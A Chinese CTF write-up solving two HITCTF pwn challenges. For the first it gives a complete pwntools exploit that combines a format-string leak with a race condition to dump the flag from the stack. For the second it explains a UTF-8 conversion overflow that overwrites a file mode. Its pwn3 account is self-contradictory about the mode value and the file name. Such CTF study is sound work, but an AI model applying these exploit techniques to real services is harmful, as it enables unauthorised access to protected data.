HITCTF两个pwn题练习

pwn2 TIME

题目附件：pwn2.zip

漏洞点

1、prirntf格式化字符串 - 信息泄露

global_name是我们输入的字符串，通过%p可以泄露栈上的信息。

这个字符串的长度限制是0xff，所以还是可以泄露挺多东西的

2、条件竞争race condition

pthread_create起子进程执行display(v1)

重点看这个位置，a1为1表示我们输入的是想访问flag.txt，否则就是访问old_flag.txt。is_secret_file是bss段的全局变量，不同的线程根据输入的不同，会将is_secret_file的值改成0或者1

a1和is_secret_file是在check_file_name()中设置的，这个函数的设置保护了flag.txt不会被直接读取到

但是is_secret_file是全局变量，所有子线程都会访问并改变该变量。考虑下面这种条件竞争时的情况

线程1本来a1为1，is_secret_file为1，file_name为”flag.txt”，是不满足进入dispaly_file_content()这一分支中的。但是由于有多个线程，且is_secret_file是共享变量。如果线程2此时正好运行到将is_secret_file赋值为0这里。当再次切换回到线程1时，由于is_secret_file为0，进入dispaly_file_content()这一分支。此时就会读取”flag.txt”继续处理。

虽然直接打印出来的内容时MD4哈希过的，根据这个内容无法恢复出原本的flag内容

但是，在dispaly_file_content()函数中，可以看到会将flag.txt的内容拷贝到栈上。

于是结合第一个格式化字符串，可以将flag泄露出来。

利用

完整exp如下

##!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(arch="i386",os="linux",log_level="debug")
context(arch="i386",os="linux",log_level="error")

# io = process('./time')
io = remote("122.114.225.151",10000)

# gdb.attach(io, "b *0x401147 \n c")

# sleep(1)
# io.recvuntil("Who are you?")



# io.sendlineafter("Who are you?",b"%p "*95)      # gloabl_name
io.sendlineafter("Who are you?",b"%p "*80)      # gloabl_name
io.sendlineafter("2.old_flag.txt",b"1")         # check_file_name()

# io.sendlineafter("2.old_flag.txt",b"1")   
# io.sendlineafter("2.old_flag.txt",b"2")   
io.sendline(b"1")
io.sendline(b"1")
io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"1")
io.sendline(b"2")
# io.sendline(b"1")
# io.sendline(b"1")
# io.sendline(b"2")
sleep(1)
io.recvuntil("2.old_flag.txt")
io.sendline(b"1")
io.sendline(b"1")

io.interactive()

从栈中dump出flag.txt的信息

利用脚本快速解析

from pwn import *

a = [0x3032465443544948, 0x2d656d69747b3232, 0x6c69662d612d7369, 0x772d746168742d65, 0x646e612d73726165, 0x6e2d73656b616d2d, 0x7d6573696f6e2d6f, 0xa]
result = b""
for i in a:
    result += p64(i)
    print(result)

得到flag

pwn3 DOC

题目附件：pwn3.zip

简单解析

漏洞点在这里

max的初始值是0x800（2048 bytes），我们只需关注最后两轮的情况。当前面已转换2045 bytes的utf-8字符，而最后一个utf-16转成utf-8后是4字节时，就会覆盖到2049字节处。而2049位置处正好是flag.doc的mode，将mode改为0，在网页上通过http://122.114.225.168:10052/doc/extract_many?files=user0.doc|flag.doc就能查看到flag内容。

exp.doc

构造的doc文档内容是："a"*512 + "b"*512 + "c"*512 + "嘀"*167 + "特殊字符"*3，这串utf-16字符转成utf-8后，正好是2049字节。

以上描述中的特殊字符是指4字节的utf-8字符，从以下链接中随意找一个使用即可

UTF-8 4-BYTE CHARACTER CHART

>>> a = "嘀"
>>> a.encode("utf-8")
b'\xe5\x98\x80'
>>> a.encode("utf-16")
b'\xff\xfe\x00V'

>>> b = "𝄔"
>>> b.encode("utf-8")
b'\xf0\x9d\x84\x94'
>>> b.encode("utf-16")

167个”嘀”+3个”𝄔”，转换成UTF-8后，占据167*3+3*4 = 513 ，正好覆盖到flag.txt的mode，将其改成非0值。